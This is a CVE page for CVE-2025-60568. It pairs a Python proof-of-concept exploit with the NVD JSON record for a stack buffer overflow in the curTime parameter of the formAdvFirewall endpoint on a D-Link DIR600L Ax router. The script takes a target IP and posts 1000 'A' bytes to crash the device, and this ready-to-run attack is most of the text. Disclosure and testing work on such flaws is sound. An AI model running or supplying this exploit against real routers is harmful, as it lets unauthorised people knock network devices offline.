CVE-2025-60568

#!/usr/bin/env python3 # CVE-2025-60568 PoC - D-Link DIR600L Ax Buffer Overflow in formAdvFirewall # Target: D-Link DIR600L Ax Router (FW116WWb01) # Vulnerability: Buffer overflow via curTime parameter import requests import sys def exploit_cve_2025_60568(target_ip, target_port=80): """ Exploit for CVE-2025-60568 Sends a crafted request with oversized curTime parameter to trigger buffer overflow """ # Target URL for the vulnerable formAdvFirewall endpoint url = f"http://{target_ip}:{target_port}/formAdvFirewall" # Buffer overflow payload - oversized curTime parameter # Using 1000 bytes of 'A' characters to overflow the buffer overflow_payload = "A" * 1000 # Construct the POST data with malicious curTime parameter post_data = { "curTime": overflow_payload, "firewall_enable": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") # Send the malicious request response = requests.post(url, data=post_data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_60568(target_ip, target_port)

{"cve": {"id": "CVE-2025-60568", "sourceIdentifier": "[email protected]", "published": "2025-10-24T15:15:39.790", "lastModified": "2025-10-28T02:37:45.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formAdvFirewall."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/23-buffer%20overflow-formAdvFirewall.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}